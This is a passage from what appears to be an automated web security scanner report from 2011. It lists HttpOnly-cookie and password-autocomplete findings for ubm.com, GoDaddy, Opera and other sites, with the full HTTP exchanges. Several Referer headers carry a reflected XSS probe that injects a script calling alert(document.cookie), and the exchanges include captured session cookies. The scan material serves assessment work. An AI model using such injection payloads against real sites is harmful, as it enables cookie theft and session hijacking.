Referer: http://www.ubm.com/en/site-services/search/search-result.aspx?ResultPage=1&Domain=MergeAll7a54a%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eafa1cd40535&query=help%20contact

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 29361
Content-Type: text/javascript; charset=utf-8
Expires: -1
X-Powered-By: ASP.NET
Set-Cookie: www-ubm-com#sc_wede=1; path=/; HttpOnly
Set-Cookie: www-ubm-com#lang=en; path=/; HttpOnly
Set-Cookie: ASP.NET_SessionId=jmbwek34kisbrfa1yjjgfo45; path=/; HttpOnly
Date: Fri, 16 Sep 2011 16:45:57 GMT
Connection: close
Set-Cookie: SERVERID=GS2-WEB01; path=/

/*****************************************************************************
scalable Inman Flash Replacement (sIFR) version 3, revision 436.

Copyright 2006 ... 2008 Mark Wubben, <http://novembe
...[SNIP]...

11.75. http://www.ubm.com/en/javascripts/snapdown.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ubm.com
Path:	/en/javascripts/snapdown.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SERVERID=GS2-WEB06; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /en/javascripts/snapdown.js HTTP/1.1
Host: www.ubm.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.ubm.com/en/site-services/search/search-result.aspx?ResultPage=1&Domain=MergeAll7a54a%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eafa1cd40535&query=help%20contact

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 998
Content-Type: text/javascript; charset=utf-8
Expires: -1
X-Powered-By: ASP.NET
Set-Cookie: ubm-com-live#sc_wede=1; path=/; HttpOnly
Set-Cookie: ubm-com-live#lang=en; path=/; HttpOnly
Set-Cookie: ASP.NET_SessionId=cmhl2xewnv5h4jqq3dpnva23; path=/; HttpOnly
Date: Fri, 16 Sep 2011 16:45:58 GMT
Connection: close
Set-Cookie: SERVERID=GS2-WEB06; path=/

$jk = jQuery.noConflict();
document.write('<style type="text/css">');
document.write('.titleContent{cursor:pointer;}');
document.write('</style>');

$jk(document).ready(function(){

$jk(".cont
...[SNIP]...

11.76. http://www.ubm.com/en/javascripts/snapwithinsnap.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ubm.com
Path:	/en/javascripts/snapwithinsnap.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SERVERID=DP1-WEB02; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /en/javascripts/snapwithinsnap.js HTTP/1.1
Host: www.ubm.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.ubm.com/en/site-services/search/search-result.aspx?ResultPage=1&Domain=MergeAll7a54a%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eafa1cd40535&query=help%20contact

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 1020
Content-Type: text/javascript; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: united-business-media-plc-production#sc_wede=1; path=/; HttpOnly
Set-Cookie: united-business-media-plc-production#lang=en; path=/; HttpOnly
Date: Fri, 16 Sep 2011 16:45:58 GMT
Connection: close
Set-Cookie: SERVERID=DP1-WEB02; path=/

$jk = jQuery.noConflict();
document.write('<style type="text/css">');
document.write('.bodSnap h2{cursor:pointer;}');
document.write('</style>');

$jk(document).ready(function(){

$jk(".bodSna
...[SNIP]...

11.77. http://www.ubm.com/en/site-services/search/~/media/Images/U/United-Business-Media-Plc/Images/content/logo.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ubm.com
Path:	/en/site-services/search/~/media/Images/U/United-Business-Media-Plc/Images/content/logo.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SERVERID=GS2-WEB01; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /en/site-services/search/~/media/Images/U/United-Business-Media-Plc/Images/content/logo.png HTTP/1.1
Host: www.ubm.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.ubm.com/en/site-services/search/search-result.aspx?ResultPage=1&Domain=MergeAll7a54a%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eafa1cd40535&query=help%20contact

Response

HTTP/1.1 200 OK
Cache-Control: private, max-age=604800
Content-Length: 2529
Content-Type: image/png
Expires: Fri, 23 Sep 2011 16:45:58 GMT
Last-Modified: Wed, 04 May 2011 13:29:16 GMT
X-Powered-By: ASP.NET
Set-Cookie: www-ubm-com#sc_wede=1; path=/; HttpOnly
Set-Cookie: www-ubm-com#lang=en; path=/; HttpOnly
Set-Cookie: ASP.NET_SessionId=311izsbligds5r3rxymup155; path=/; HttpOnly
Date: Fri, 16 Sep 2011 16:45:57 GMT
Connection: close
Set-Cookie: SERVERID=GS2-WEB01; path=/

.PNG
.
...IHDR...P...f.....\2......tEXtSoftware.Adobe ImageReadyq.e<.. .IDATx..].n.6.f\?..u./..S.<A.)..$.....;...N..@6..V.....d.d. ...]..;v.....IY.._I..B.p.8.y....|..s....['..........z`.3..(..3....G
...[SNIP]...

11.78. http://www.ubm.com/en/site-services/search/~/media/Images/U/United-Business-Media-Plc/Images/css/favicon.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ubm.com
Path:	/en/site-services/search/~/media/Images/U/United-Business-Media-Plc/Images/css/favicon.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SERVERID=GS2-WEB01; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /en/site-services/search/~/media/Images/U/United-Business-Media-Plc/Images/css/favicon.jpg HTTP/1.1
Host: www.ubm.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private, max-age=604800
Content-Length: 661
Content-Type: image/jpeg
Expires: Fri, 23 Sep 2011 16:45:58 GMT
Last-Modified: Fri, 29 Jul 2011 10:59:13 GMT
X-Powered-By: ASP.NET
Set-Cookie: www-ubm-com#sc_wede=1; path=/; HttpOnly
Set-Cookie: www-ubm-com#lang=en; path=/; HttpOnly
Set-Cookie: ASP.NET_SessionId=ia4yxz55ujdxe145tajm2255; path=/; HttpOnly
Date: Fri, 16 Sep 2011 16:45:57 GMT
Connection: close
Set-Cookie: SERVERID=GS2-WEB01; path=/

......JFIF.....d.d......Ducky.......P......Adobe.d.....................................................

...................... .. . .............................................................
...[SNIP]...

11.79. http://www.ubm.com/javascripts/gatag.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ubm.com
Path:	/javascripts/gatag.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SERVERID=GS2-WEB04; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /javascripts/gatag.js HTTP/1.1
Host: www.ubm.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.ubm.com/en/site-services/search/search-result.aspx?ResultPage=1&Domain=MergeAll7a54a%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eafa1cd40535&query=help%20contact

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 2875
Content-Type: text/javascript; charset=utf-8
Expires: -1
X-Powered-By: ASP.NET
Set-Cookie: www-ubm-com#sc_wede=1; path=/; HttpOnly
Date: Fri, 16 Sep 2011 16:45:54 GMT
Connection: close
Set-Cookie: SERVERID=GS2-WEB04; path=/

// This javascript tags file downloads and external links in Google Analytics.
// You need to be using the Google Analytics New Tracking Code (ga.js)
// for this script to work.
// To
...[SNIP]...

11.80. http://www.ubm.com/javascripts/sitecatalyst.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ubm.com
Path:	/javascripts/sitecatalyst.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SERVERID=GS2-WEB03; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /javascripts/sitecatalyst.js HTTP/1.1
Host: www.ubm.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.ubm.com/en/site-services/search/search-result.aspx?ResultPage=1&Domain=MergeAll7a54a%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eafa1cd40535&query=help%20contact

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 532
Content-Type: text/javascript; charset=utf-8
Expires: -1
X-Powered-By: ASP.NET
Set-Cookie: www-ubm-com#sc_wede=1; path=/; HttpOnly
Set-Cookie: ASP.NET_SessionId=md0ndebkup42okr2z1wqik55; path=/; HttpOnly
Date: Fri, 16 Sep 2011 16:45:54 GMT
Connection: close
Set-Cookie: SERVERID=GS2-WEB03; path=/

<!--
s.pageName=document.title;
s.server="";
s.channel="";
s.pageType="";
s.prop1="";
s.prop2="";
s.prop3="";
s.prop4="";
/* Conversion Variables */
s.campaign="";
s.state="";
s.zip="";
s
...[SNIP]...

12. Password field with autocomplete enabled previous next
There are 32 instances of this issue:

https://dev.opera.com/login/
https://dev.opera.com/login/wronglogin.dml
https://idp.godaddy.com/login.aspx
https://idp.godaddy.com/login.aspx
https://idp.godaddy.com/login.aspx
https://idp.godaddy.com/retrieveaccount.aspx
https://idp.godaddy.com/shopper_new.aspx
https://idp.godaddy.com/shopper_new.aspx
https://login.secureserver.net/
https://login.secureserver.net/
https://login.secureserver.net/
https://my.opera.com/community/signup/
https://mya.godaddy.com/Default.aspx
https://mya.godaddy.com/myrenewals/myRenewals.aspx
https://portal.opera.com/accounts/login/
https://sendgrid.com/user/signup/package/44
http://shoprunner.force.com/content/JsContentElementsDRGS
https://support.socketlabs.com/
https://support.socketlabs.com/index.php/Base/User/Login
https://support.socketlabs.com/index.php/Base/UserRegistration/Register
https://support.socketlabs.com/index.php/Base/UserRegistration/Register
https://support.socketlabs.com/index.php/Base/UserRegistration/RegisterSubmit
https://support.socketlabs.com/index.php/Base/UserRegistration/RegisterSubmit
http://www.godaddy.com/
http://www.godaddy.com/domains/search.aspx
http://www.godaddy.com/gdshop/site_search.asp
http://www.godaddy.com/offers/hot-deals2.aspx
http://www.godaddy.com/productadvisor/pastart.aspx
http://www.jangosmtp.com/login.asp
https://www.jangosmtp.com/login.asp
https://www.smtp.com/signup
http://www.thewhir.com/web-hosting-news/091611_Go_Daddy_Helping_Customers_Repair_Compromised_Sites

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

12.1. https://dev.opera.com/login/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://dev.opera.com
Path:	/login/

Issue detail

The page contains a form with the following action URL:

https://dev.opera.com/login/index.pl

The form contains the following password field with autocomplete enabled:

passwd

Request

GET /login/ HTTP/1.1
Host: dev.opera.com
Connection: keep-alive
Referer: http://dev.opera.com/articles/javascript/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=122269525.1534674535.1316207960.1316207960.1316207960.1; __utmb=122269525.3.10.1316207960; __utmc=122269525; __utmz=122269525.1316207960.1.1.utmcsr=unite.opera.com|utmccn=(referral)|utmcmd=referral|utmcct=/application/192/; __utma=73838855.1311206388.1316208003.1316208003.1316208003.1; __utmb=73838855.4.10.1316208003; __utmc=73838855; __utmz=73838855.1316208003.1.1.utmcsr=opera.com|utmccn=(referral)|utmcmd=referral|utmcct=/company/

Response

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 16 Sep 2011 16:24:13 GMT
Content-Type: text/html
Connection: keep-alive
X-MyO-Request: 1316190253.myo.cDoyNzowMjowMA==
Front-End-Https: on
Content-Length: 2688

<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<meta name="google-site-verification" content="L7q_7GF5c9d7ZAUYdfaTiRaB6sTAGv_cRz3nq5DsabM">
...[SNIP]...
</h1>
<form action="/login/index.pl" method="post" name="mainlogin">
<input type="hidden" name="location" value="http://dev.opera.com/articles/javascript/">
...[SNIP]...
</label><input type="password" name="passwd" id="password" required="required">
</fieldset>
...[SNIP]...

12.2. https://dev.opera.com/login/wronglogin.dml previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://dev.opera.com
Path:	/login/wronglogin.dml

Issue detail

The page contains a form with the following action URL:

https://dev.opera.com/login/index.pl

The form contains the following password field with autocomplete enabled:

passwd

Request

GET /login/wronglogin.dml?username=xss&ref=http%3A%2F%2Fdev.opera.com%2Farticles%2Fjavascript%2F HTTP/1.1
Host: dev.opera.com
Connection: keep-alive
Referer: https://dev.opera.com/login/
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=122269525.1534674535.1316207960.1316207960.1316207960.1; __utmb=122269525.3.10.1316207960; __utmc=122269525; __utmz=122269525.1316207960.1.1.utmcsr=unite.opera.com|utmccn=(referral)|utmcmd=referral|utmcct=/application/192/; __utma=73838855.1311206388.1316208003.1316208003.1316208003.1; __utmb=73838855.4.10.1316208003; __utmc=73838855; __utmz=73838855.1316208003.1.1.utmcsr=opera.com|utmccn=(referral)|utmcmd=referral|utmcct=/company/

Response

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 16 Sep 2011 16:24:24 GMT
Content-Type: text/html
Connection: keep-alive
X-MyO-Request: 1316190264.myo.cDoyNzowMzowMA==
Front-End-Https: on
Content-Length: 3033

<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<meta name="google-site-verification" content="L7q_7GF5c9d7ZAUYdfaTiRaB6sTAGv_cRz3nq5DsabM">
...[SNIP]...
</p>
<form action="/login/index.pl" method="post" name="mainlogin">
<input type="hidden" name="location" value="http://dev.opera.com/articles/javascript/">
...[SNIP]...
</label><input type="password" name="passwd" id="password" required="required">
</fieldset>
...[SNIP]...

12.3. https://idp.godaddy.com/login.aspx previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/login.aspx

Issue detail

The page contains a form with the following action URL:

https://idp.godaddy.com/login.aspx?ci=10530&spkey=GDSWNET-M1PWCORPWEB181&redirect=false&target=http%3a%2f%2fwww.godaddy.com%2foffers%2fhot-deals2.aspx

The form contains the following password field with autocomplete enabled:

Request

GET /login.aspx?ci=10530&spkey=GDSWNET-M1PWCORPWEB181&redirect=false&target=http%3a%2f%2fwww.godaddy.com%2foffers%2fhot-deals2.aspx HTTP/1.1
Host: idp.godaddy.com
Connection: keep-alive
Referer: http://www.godaddy.com/offers/hot-deals2.aspx?ci=51455
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: currencypopin1=cdisplaypopin=false; GoogleADServicesgooglessl=dbdflblbdeidccshddredcccjfvazaii; flag1=cflag=us; preferences1=_sid=uddglhvacbaaxcsewbpfbfkhsgjjfjxe&gdshop_currencyType=USD&dataCenterCode=US; SplitValue1=95; pathway=b60669da-2123-4bfc-afe4-9bcdeba931e5; ASP.NET_SessionId=fubx1k3jh1q5dtrpmjpdfb45; ShopperId1=sbravgnfjbbhqgwfvetdgajdqbqdniza; BlueLithium_domainsearch=obsjsdjcfihcwgzeliqdtiigagkahckc; currency1=potableSourceStr=USD; adc1=US; fbiTrafficSettings=cDepth=16&resX=1920&resY=1200&fMajorVer=-1&fMinorVer=-1&slMajorVer=-1&slMinorVer=-1; pagecount=3; actioncount=; app_pathway=; visitor=vid=8d587be0-834e-4a03-83dc-2f3bcb783a40; traffic=

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:08:37 GMT
Server: Microsoft-IIS/6.0
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:08:37 GMT; path=/
Set-Cookie: adc1=US; domain=godaddy.com; path=/
Set-Cookie: traffic=; domain=godaddy.com; path=/
Set-Cookie: traffic=; domain=godaddy.com; path=/
Set-Cookie: traffic=; domain=godaddy.com; path=/
Set-Cookie: traffic=; domain=godaddy.com; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 94578

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head><script src="https:/
...[SNIP]...


<form name="Form1" method="post" action="login.aspx?ci=10530&spkey=GDSWNET-M1PWCORPWEB181&redirect=false&target=http%3a%2f%2fwww.godaddy.com%2foffers%2fhot-deals2.aspx" id="Form1" style="margin: 0; padding: 0;">
<div>
...[SNIP]...
<td class="normal_text">
               <input name="Login$userEntryPanel2$PasswordTextBox" type="password" maxlength="50" id="Login_userEntryPanel2_PasswordTextBox" onkeypress="return processPasswordKeypress(event);" style="width:175px;" />


           </td>
...[SNIP]...

12.4. https://idp.godaddy.com/login.aspx previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/login.aspx

Issue detail

The page contains a form with the following action URL:

https://idp.godaddy.com/login.aspx?ci=9106&spkey=GDSWNET-M1PWCORPWEB181&target=http%3a%2f%2fwww.godaddy.com%2f

The form contains the following password field with autocomplete enabled:

Request

Response

12.5. https://idp.godaddy.com/login.aspx previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/login.aspx

Issue detail

The page contains a form with the following action URL:

https://idp.godaddy.com/login.aspx?ci=9106&spkey=GDSWNET-M1PWCORPWEB181

The form contains the following password field with autocomplete enabled:

password

Request

Response

12.6. https://idp.godaddy.com/retrieveaccount.aspx previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/retrieveaccount.aspx

Issue detail

The page contains a form with the following action URL:

https://idp.godaddy.com/login.aspx?ci=9106&spkey=GDSWNET-M1PWCORPWEB181

The form contains the following password field with autocomplete enabled:

password

Request

Response

12.7. https://idp.godaddy.com/shopper_new.aspx previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/shopper_new.aspx

Issue detail

The page contains a form with the following action URL:

https://idp.godaddy.com/shopper_new.aspx?ci=10530&spkey=GDSWNET-M1PWCORPWEB181

The form contains the following password fields with autocomplete enabled:

shopper_password
shopper_password2

Request

Response

12.8. https://idp.godaddy.com/shopper_new.aspx previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://idp.godaddy.com
Path:	/shopper_new.aspx

Issue detail

The page contains a form with the following action URL:

https://idp.godaddy.com/login.aspx?ci=9106&spkey=GDSWNET-M1PWCORPWEB181

The form contains the following password field with autocomplete enabled:

password

Request

Response

12.9. https://login.secureserver.net/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://login.secureserver.net
Path:	/

Issue detail

The page contains a form with the following action URL:

https://login.secureserver.net/?app=wbe&target=login

The form contains the following password field with autocomplete enabled:

password

Request

POST /?app=wbe HTTP/1.1
Host: login.secureserver.net
Connection: keep-alive
Referer: https://login.secureserver.net/?app=wbe
Content-Length: 705
Cache-Control: max-age=0
Origin: https://login.secureserver.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

return_app=wbe&mig_app=wbe&username=xss&password=xss&sftur=NDQ4fFIlJ0iHschOTVGqsaiSOshLLxD5uIekHwXJXxT6nLGMPkkcBk8GmTcWx1w23%2F60%2Bbzg78VZBK59bluCy7ZbCrI%2FqYycGWtEQ55VjXqiTZDRF3HjN4SHU4uRjJ6V1KMDSEQ
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:08:54 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.3.2
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Content-Length: 4305
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content
...[SNIP]...

<form action="?app=wbe&target=login" method="POST" id="login_form" name="login_form">
<input type="hidden" name="return_app" value="wbe" />
...[SNIP]...
</div>

<input id="password" type="password" name="password" value="" onkeyup="return Login.catchEnter(event);">
</div>
...[SNIP]...

12.10. https://login.secureserver.net/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://login.secureserver.net
Path:	/

Issue detail

The page contains a form with the following action URL:

https://login.secureserver.net/?app=mmail&target=login

The form contains the following password field with autocomplete enabled:

password

Request

GET /?app=mmail&target=login HTTP/1.1
Host: login.secureserver.net
Connection: keep-alive
Referer: https://login.secureserver.net/?app=wbe
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:08:59 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.3.2
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Content-Length: 4128
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content
...[SNIP]...

<form action="?app=mmail&target=login" method="POST" id="login_form" name="login_form">

<div class="header-container">
...[SNIP]...
</label>
<input id="password" type="password" name="password" value="">
<br style="clear: both;"/>
...[SNIP]...

12.11. https://login.secureserver.net/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://login.secureserver.net
Path:	/

Issue detail

The page contains a form with the following action URL:

https://login.secureserver.net/?app=wbe

The form contains the following password field with autocomplete enabled:

password

Request

GET /?app=wbe HTTP/1.1
Host: login.secureserver.net
Connection: keep-alive
Referer: https://idp.godaddy.com/login.aspx?ci=10530&spkey=GDSWNET-M1PWCORPWEB181&redirect=false&target=http%3a%2f%2fwww.godaddy.com%2foffers%2fhot-deals2.aspx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 18:08:48 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.3.2
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Content-Length: 4096
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content
...[SNIP]...

<form action="?app=wbe" method="POST" id="login_form" name="login_form">
<input type="hidden" name="return_app" value="wbe" />
...[SNIP]...
</div>

<input id="password" type="password" name="password" value="" onkeyup="return Login.catchEnter(event);">
</div>
...[SNIP]...

12.12. https://my.opera.com/community/signup/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://my.opera.com
Path:	/community/signup/

Issue detail

The page contains a form with the following action URL:

https://my.opera.com/community/signup/signup.pl

The form contains the following password field with autocomplete enabled:

password

Request

GET /community/signup/?s_ref=home HTTP/1.1
Host: my.opera.com
Connection: keep-alive
Referer: http://my.opera.com/community/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=122269525.1534674535.1316207960.1316207960.1316207960.1; __utmb=122269525.3.10.1316207960; __utmc=122269525; __utmz=122269525.1316207960.1.1.utmcsr=unite.opera.com|utmccn=(referral)|utmcmd=referral|utmcct=/application/192/; __utma=218314117.1470107793.1316208001.1316208001.1316208001.1; __utmb=218314117.1.10.1316208001; __utmc=218314117; __utmz=218314117.1316208001.1.1.utmcsr=opera.com|utmccn=(referral)|utmcmd=referral|utmcct=/company/

Response

12.13. https://mya.godaddy.com/Default.aspx previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://mya.godaddy.com
Path:	/Default.aspx

Issue detail

The page contains a form with the following action URL:

https://idp.godaddy.com/login.aspx?ci=9106&spkey=GDMYA-M1PWMYAWEB003

The form contains the following password field with autocomplete enabled:

password

Request

Response

12.14. https://mya.godaddy.com/myrenewals/myRenewals.aspx previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://mya.godaddy.com
Path:	/myrenewals/myRenewals.aspx

Issue detail

The page contains a form with the following action URL:

https://idp.godaddy.com/login.aspx?ci=9106&spkey=GDMYA-M1PWMYAWEB003

The form contains the following password field with autocomplete enabled:
